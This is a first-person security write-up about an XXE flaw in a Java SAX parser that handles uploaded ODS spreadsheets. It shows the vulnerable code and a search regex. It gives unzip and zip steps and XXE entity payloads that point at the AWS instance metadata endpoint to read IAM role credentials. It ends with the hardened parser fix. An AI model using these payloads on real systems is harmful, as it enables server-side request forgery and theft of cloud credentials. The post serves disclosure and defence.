Recently I tried to poke holes in a service. I found myself laughing out loud. This was a vulnerability whereby modifying a SAML authentication while being rePOSTed via the browser allowed me to inject a malicious payload (see XML External Entity (XXE) Processing and XML External Entity (XXE) Prevention Cheat Sheet) that could be used to use up a service’s memory and CPU. Health checks and automatic service restarts would have healed the service but it still would have allowed an attacker to mount a Denial of Service attack without needing a lot of requests.

Finding the Issue

Subsequently, I identified a number of services that needed to be fixed, and while I was fixing services I used the following regular expression to find other possible weaknesses:

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SAXBuilder|SAXReader|XMLReader|SAXTransformerFactory|SchemaFactory|TransformerFactory|XMLInputFactory|DocumentBuilderFactory|SAXParserFactory

This lead me to find the following code snippet in a class called WorksheetParser

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public WorksheetParser() throws ParserConfigurationException, SAXException
{
  SAXParserFactory factory = SAXParserFactory.newInstance();

  factory.setNamespaceAware(true);
  factory.setValidating(true);

  this.saxParser = factory.newSAXParser();
}

and WorksheetParser was used to parse ODF spreadsheets (OpenOffice spreadsheets).

In this app, “worksheet"s were used so that organisations can use a simple spreadsheet to collect their information and upload it. The app parsed the information and played it back to the user.

Now, this got me thinking - as the ODF file format is just a ZIP file with XML content - and I had just found an unsecured SAXParserFactory, how difficult would it be to exploit that?

The Exploit

So I got the spreadsheet and opened it up in LibreOffice and I filled in some basic data including first name and last name and saved the file.

Then I unzipped it

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$ mkdir xxe_bomb
$ cd xxe_bomb
$ unzip ../template_filled_in.ods
Archive:  ../template_filled_in.ods
 extracting: mimetype               
  inflating: styles.xml             
  inflating: META-INF/manifest.xml  
  inflating: content.xml            
  inflating: meta.xml               
 extracting: media/image1.png

then I just edited the content.xml file and added

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<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE xxe-root [
        <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">
]>

then I looked for the last name that I entered (“Doe”) - and replaced it with &xxe;

Then it was just a matter of zipping it back up again as my new payload file

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$ zip ../xxe_bomb.ods *
  adding: META-INF/ (stored 0%)
  adding: content.xml (deflated 98%)
  adding: media/ (stored 0%)
  adding: meta.xml (deflated 57%)
  adding: mimetype (deflated 4%)
  adding: styles.xml (deflated 79%)

Then once I had uploaded the file and the app played back the last name - I was able to get the IAM role…

Limitations

The exploit was somewhat limited because the app validated the last name, and if there are unknown characters (like ‘{’ or ‘}') an error would be displayed. So I wasn’t able to extract the AWS keys by setting the payload to:

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<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE xxe-root [
        <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/app-server-role">
]>

as per https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/iam-roles-for-amazon-ec2.html#instance-metadata-security-credentials

Also those credentials would have been somewhat limited as they were locked down.

However, with enough knowledge of the system and the ability to execute arbitrary GET requests, I believe quite a bit of damage could have been done.

The Fix

The offending class was changed to

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public WorksheetParser() throws ParserConfigurationException, SAXException
{
  SAXParserFactory factory = SAXParserFactory.newInstance();
  factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
  factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
  factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
  factory.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
  factory.setXIncludeAware(false);
  factory.setNamespaceAware(true);
  factory.setValidating(true);

  this.saxParser = factory.newSAXParser();
}

as per the OWASP XXE Prevention Cheat Sheet.

Moral of the Story

• Malicious XXE payloads can hidden in files that do not have the XML extension
• Do not assume that XML processing is safe by default (particular when using older libraries)
• XML is evil

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